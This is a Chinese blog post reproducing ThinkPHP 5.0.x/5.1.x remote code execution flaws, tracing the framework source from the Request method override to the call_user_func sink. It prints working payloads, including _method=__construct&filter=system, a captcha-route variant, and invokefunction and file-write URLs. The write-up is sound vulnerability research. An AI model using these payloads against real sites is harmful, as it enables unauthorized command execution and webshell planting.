thinkphp5 RCE漏洞复现

前言

之前看的是tp3的SQL注入,现在开始审计一下tp5的一些SQL注入和RCE。先看一下RCE,毕竟thinkphp最广为人知的漏洞就是RCE。
首先是源码的下载,我从这里下载:
thinkphp下载
这里我下载的是thinkphp5.0.22完整版,如果下载核心版的话可能会有一些代码的缺失。
漏洞影响版本:
5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
不同的版本payload会不同,我这里的是tp5.0.22。

5.0.22debug模式开启下的RCE

和之前tp5.1的反序列化一样,RCE的执行点也都是重要的request类。关键在于这个filterValue()函数:

/**
 * 递归过滤给定的值
 * @param mixed     $value 键值
 * @param mixed     $key 键名
 * @param array     $filters 过滤方法+默认值
 * @return mixed
 */
private function filterValue(&$value, $key, $filters)
{
    
    
    $default = array_pop($filters);
    foreach ($filters as $filter) {
    
    
        if (is_callable($filter)) {
    
    
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        } elseif (is_scalar($value)) {
    
    
            if (false !== strpos($filter, '/')) {
    
    
                // 正则过滤
                if (!preg_match($filter, $value)) {
    
    
                    // 匹配不成功返回默认值
                    $value = $default;
                    break;
                }
            } elseif (!empty($filter)) {
    
    
                // filter函数不存在时, 则使用filter_var进行过滤
                // filter为非整形值时, 调用filter_id取得过滤id
                $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                if (false === $value) {
    
    
                    $value = $default;
                    break;
                }
            }
        }
    }
    return $this->filterExp($value);
}

利用call_user_func$filter是函数,$value是参数。
此外,Request类的__construct()方法也很危险:

/**
 * 构造函数
 * @access protected
 * @param array $options 参数
 */
protected function __construct($options = [])
{
    
    
    foreach ($options as $name => $item) {
    
    
        if (property_exists($this, $name)) {
    
    
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
    
    
        $this->filter = Config::get('default_filter');
    }

    // 保存 php://input
    $this->input = file_get_contents('php://input');
}

发现在foreach中,如果$options可控,那么就可以任意覆盖类中的属性,例如覆盖$this->filter

再看一下整个流程。程序从index.php开始:
在这里插入图片描述
跟进start.php:
在这里插入图片描述
跟进一下run方法,感觉是在进行一些配置的绑定和其他的东西。关键在于routeCheck方法:

主要是检测路由,打断点看一下,一路可以正常执行,注意这个check方法:
在这里插入图片描述
跟进,会发现在里面执行的method方法:
在这里插入图片描述

/**
 * 当前的请求类型
 * @access public
 * @param bool $method  true 获取原始请求类型
 * @return string
 */
public function method($method = false)
{
    
    
    if (true === $method) {
    
    
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
    
    
        if (isset($_POST[Config::get('var_method')])) {
    
    
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{
    
    $this->method}($_POST);
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
    
    
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
    
    
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

默认$method为false,会进入elseif,Config::get('var_method')得到的是config.php里面的一个配置:
在这里插入图片描述
会把$_POST['_method']的值赋给$this->method,然后$this->{$this->method}($_POST);,相当于可以执行Request类中的任意方法,参数是$_POST。这里就要联想到那个__construct()方法了,可以任意覆盖类属性,至此为止Request类属性都可控了,借其他师傅的图:
在这里插入图片描述
暂时构造:_method=__construct

程序继续执行,注意到这里:
在这里插入图片描述
如果开启了debug的话,进入if,会触发$request->param()方法。好眼熟的方法,似乎在tp5.1反序列化链中就被利用过?利用param方法,最终可以跟进到filterValue()方法。跟进一下param()方法:
在这里插入图片描述
跟进一下method()方法,不过这次的$method是true:
在这里插入图片描述

再跟进server():
在这里插入图片描述
$name的值是REQUEST_METHOD。server()方法中又跟进了input()方法,第一个参数$this->server可以利用之前__construct()方法进行属性覆盖,因此$this->server可控。跟进input()方法:

/**
 * 获取变量 支持过滤和默认值
 * @param array         $data 数据源
 * @param string|false  $name 字段名
 * @param mixed         $default 默认值
 * @param string|array  $filter 过滤函数
 * @return mixed
 */
public function input($data = [], $name = '', $default = null, $filter = '')
{
    
    
    if (false === $name) {
    
    
        // 获取原始数据
        return $data;
    }
    $name = (string) $name;
    if ('' != $name) {
    
    
        // 解析name
        if (strpos($name, '/')) {
    
    
            list($name, $type) = explode('/', $name);
        } else {
    
    
            $type = 's';
        }
        // 按.拆分成多维数组进行判断
        foreach (explode('.', $name) as $val) {
    
    
            if (isset($data[$val])) {
    
    
                $data = $data[$val];
            } else {
    
    
                // 无输入数据,返回默认值
                return $default;
            }
        }
        if (is_object($data)) {
    
    
            return $data;
        }
    }

    // 解析过滤器
    $filter = $this->getFilter($filter, $default);

    if (is_array($data)) {
    
    
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    } else {
    
    
        $this->filterValue($data, $name, $filter);
    }

    if (isset($type) && $data !== $default) {
    
    
        // 强制类型转换
        $this->typeCast($data, $type);
    }
    return $data;
}

$name是REQUEST_METHOD,会进入if ('' != $name) {

        foreach (explode('.', $name) as $val) {
    
    
            if (isset($data[$val])) {
    
    
                $data = $data[$val];
            } else {
    
    
                // 无输入数据,返回默认值
                return $default;
            }
        }

这些代码就相当于$data=$data['REQUEST_METHOD']。而$data就是可控的$this->server,因此这里$data也可控。再往下看:
在这里插入图片描述

跟进一下getFilter(),看看$filter是怎么来的:

    protected function getFilter($filter, $default)
    {
    
    
        if (is_null($filter)) {
    
    
            $filter = [];
        } else {
    
    
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
    
    
                $filter = explode(',', $filter);
            } else {
    
    
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;
        return $filter;
    }

相当于$filter=$this->filter,因此过滤器也可控。接下来就进入了filterValue方法,$data是可控的参数,$filter是可控的函数,再进入利用call_user_func即可RCE。最终构造:

_method=__construct&filter=system&server[REQUEST_METHOD]=dir

RCE成功:
在这里插入图片描述

5.0.22非Debug模式下的RCE

需要下载验证码的拓展包,我看网上的大多数复现文章都没用提到这个,好像是下载得到的源码里默认有?可能我下载的这个tp5.0.22又缺了东西,如果缺了东西就自己下载:
在这里插入图片描述

composer require topthink/think-captcha=1.*

这种方式的RCE的基本构造和debug模式下的差不多,但是利用的不是debug开启的if下面的param()函数。而是继续往下看:
在这里插入图片描述
跟进exec函数,发现当$dispatch['type']是controller或者method的时候,会继续调用param()函数:函数
$dispatch['type']还是之前那个方法得到的:在这里插入图片描述
这里从七月火师傅的博客中引用一下:
在这里插入图片描述

而在 ThinkPHP5 完整版中,定义了验证码类的路由地址。程序在初始化时,会通过自动类加载机制,将 vendor 目录下的文件加载,这样在 GET 方式中便多了这一条路由。我们便可以利用这一路由地址,使得 $dispatch[‘type’] 等于 method ,从而完成 远程代码执行 漏洞。

因此加上?s=captcha就可以让$dispatch['type']是method,从而进入param()方法。还需要注意这个:
在这里插入图片描述
之前的那种方法进入method方法后,下面的代码就不重要了,但是这里下面的代码仍需要进行,且method()方法的返回值是return $this->method;,所以__construct()方法里面把$this->method覆盖成get就可以了。

之后进入param()方法后的流程就和上一题差不多了,就不分析了,最终payload如下:

?s=captcha
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=dir

在这里插入图片描述

修复

在这里插入图片描述

5.0.5的另一种RCE思路

除了开启debug的RCE,还有?s=captcha这样的RCE思路之外,还有一种RCE,不过这种对于5.0.0~5.0.23这部分版本并不是都可以,我一开始在5.0.13上没复现成功,失败的原因就是因为一行代码,我最后再说。
为了复现成功,我又下载了稍旧一点的tp5,tp5.0.5是可以复现成功的,5~13之间的版本是否可以复现成功我就不清楚了。

大致的思路还是和其他两种RCE差不多,覆盖Request类的属性,然后最终进入filterValue方法RCE。不过这种思路不需要借助debug和?s=captcha。
前面的类属性覆盖都是一样的,然后这里进入到module方法:
在这里插入图片描述
跟进最后一行:
在这里插入图片描述
跟进bindParams方法:
在这里插入图片描述
这里可以进入param()方法:
在这里插入图片描述

public function param($name = '', $default = null, $filter = '')
{
    
    
    if (empty($this->param)) {
    
    
        $method = $this->method(true);
        // 自动获取请求变量
        switch ($method) {
    
    
            case 'POST':
                $vars = $this->post(false);
                break;
            case 'PUT':
            case 'DELETE':
            case 'PATCH':
                $vars = $this->put(false);
                break;
            default:
                $vars = [];
        }
        // 当前请求参数和URL地址中的参数合并
        $this->param = array_merge($this->get(false), $vars, $this->route(false));
    }
    if (true === $name) {
    
    
        // 获取包含文件上传信息的数组
        $file = $this->file();
        $data = array_merge($this->param, $file);
        return $this->input($data, '', $default, $filter);
    }
    return $this->input($this->param, $name, $default, $filter);
}

这里$this->param就是post传入的参数,$name是空字符串,所以进入最后一行的return。跟进input方法。
然后获取过滤器,和之前的两种方式没什么区别,最终得到的都有$this->filter
在这里插入图片描述
然后通过array_walk_recursive()方法,调用了filterValue方法:
在这里插入图片描述
在这里插入图片描述
最终RCE。整个过程很顺利。
payload如下:

_method=__construct&filter=system&method=get&s=whoami

在这里插入图片描述

至于为什么5.0.13不可以,是因为在跟进到module()方法的时候,filter又被覆盖成空了:
在这里插入图片描述
导致filter不可控,无法利用。

未开启强制路由导致RCE

之前的那几种RCE的思路基本上都是利用Request类的method方法触发__construct(),覆盖类属性,然后想办法进入类似param()方法等,最终进入到filterValue(),实现RCE。

接下来这种事由于未开启强制路由导致的RCE。这里我复现的php版本是thinkphp5.1.29,不同的版本payload稍有不同。
在这里插入图片描述
主要原因就是tp默认开启兼容模式而且默认不开启强制路由。payload如下:

?s=index/think\Request/input&filter=system&data=dir

还是老思路,先跟进routeCheck()在这里插入图片描述
产生的path就是?s
在这里插入图片描述

然后产生$dispatch
在这里插入图片描述
跟进一下check()方法,把斜杠换成了|:
在这里插入图片描述
后面返回:
在这里插入图片描述
产生这样的$dispatch,关键即是index|think\Request|input
在这里插入图片描述
相当于index模块,think\Request控制器,input方法。继续跟进,routeCheck()函数运行完毕,进入init():
在这里插入图片描述
跟进parseUrl()方法,在这里产生path:
在这里插入图片描述
跟进parseUrlPath方法,满足[模块/控制器/操作],按这样的方式解析。
在这里插入图片描述
从这个函数出来后依次得到模块,控制器,方法,然后封装路由,产生的$route
在这里插入图片描述
然后产生新的Module对象:
在这里插入图片描述
在run()方法中继续跟进,在这个闭包中调用了$dispatch->run():
在这里插入图片描述
跟进里面的exec方法:
在这里插入图片描述

public function exec()
{
    
    
    // 监听module_init
    $this->app['hook']->listen('module_init');

    try {
    
    
        // 实例化控制器
        $instance = $this->app->controller($this->controller,
            $this->rule->getConfig('url_controller_layer'),
            $this->rule->getConfig('controller_suffix'),
            $this->rule->getConfig('empty_controller'));

        if ($instance instanceof Controller) {
    
    
            $instance->registerMiddleware();
        }
    } catch (ClassNotFoundException $e) {
    
    
        throw new HttpException(404, 'controller not exists:' . $e->getClass());
    }

    $this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
    
    
        // 获取当前操作名
        $action = $this->actionName . $this->rule->getConfig('action_suffix');

        if (is_callable([$instance, $action])) {
    
    
            // 执行操作方法
            $call = [$instance, $action];

            // 严格获取当前操作方法名
            $reflect    = new ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $this->rule->getConfig('action_suffix');
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $this->request->setAction($actionName);

            // 自动获取请求变量
            $vars = $this->rule->getConfig('url_param_type')
            ? $this->request->route()
            : $this->request->param();
            $vars = array_merge($vars, $this->param);
        } elseif (is_callable([$instance, '_empty'])) {
    
    
            // 空操作
            $call    = [$instance, '_empty'];
            $vars    = [$this->actionName];
            $reflect = new ReflectionMethod($instance, '_empty');
        } else {
    
    
            // 操作不存在
            throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
        }

        $this->app['hook']->listen('action_begin', $call);

        $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

        return $this->autoResponse($data);
    });

    return $this->app['middleware']->dispatch($this->request, 'controller');
}

先实例化了控制器,相当于实例化think\Request
在这里插入图片描述
然后又是一个闭包,跟进:
在这里插入图片描述
先获得input这个方法名,然后判断是否可以调用,创造$call。然后生成了一个ReflectionMethod反射类的对象,得到方法名。然后利用param方法获得请求参数,即:

filter=system&data=dir

在这里插入图片描述
在这里插入图片描述
之后调用了invokeReflectMethod()方法,跟进一下

在这里插入图片描述
在这里插入图片描述
看到下面的$reflect->invokeArgs()方法调用,利用反射机制,把$args这个数组作为参数,调用了input方法,看一下$args怎么来的,跟进一下bindParams()

protected function bindParams($reflect, $vars = [])
{
    
    
    if ($reflect->getNumberOfParameters() == 0) {
    
    
        return [];
    }

    // 判断数组类型 数字数组时按顺序绑定参数
    reset($vars);
    $type   = key($vars) === 0 ? 1 : 0;
    $params = $reflect->getParameters();

    foreach ($params as $param) {
    
    
        $name      = $param->getName();
        $lowerName = Loader::parseName($name);
        $class     = $param->getClass();

        if ($class) {
    
    
            $args[] = $this->getObjectParam($class->getName(), $vars);
        } elseif (1 == $type && !empty($vars)) {
    
    
            $args[] = array_shift($vars);
        } elseif (0 == $type && isset($vars[$name])) {
    
    
            $args[] = $vars[$name];
        } elseif (0 == $type && isset($vars[$lowerName])) {
    
    
            $args[] = $vars[$lowerName];
        } elseif ($param->isDefaultValueAvailable()) {
    
    
            $args[] = $param->getDefaultValue();
        } else {
    
    
            throw new InvalidArgumentException('method param miss:' . $name);
        }
    }

    return $args;
}

$vars是我们传的参数数组 :
在这里插入图片描述
判断一下是不是数字索引,这里不是。然后得到input方法的本来的参数,依次遍历,如果$vars数组存在这个键名,就把这个$vars数组这个键的值放到$args中,其他的是默认值。

绑定完参数后,就进行了调用,执行input方法,实现RCE。
在这里插入图片描述
另外的一些payload,从别的师傅的文章中引用过来的:

?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

不过似乎第二个不能用。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/114298944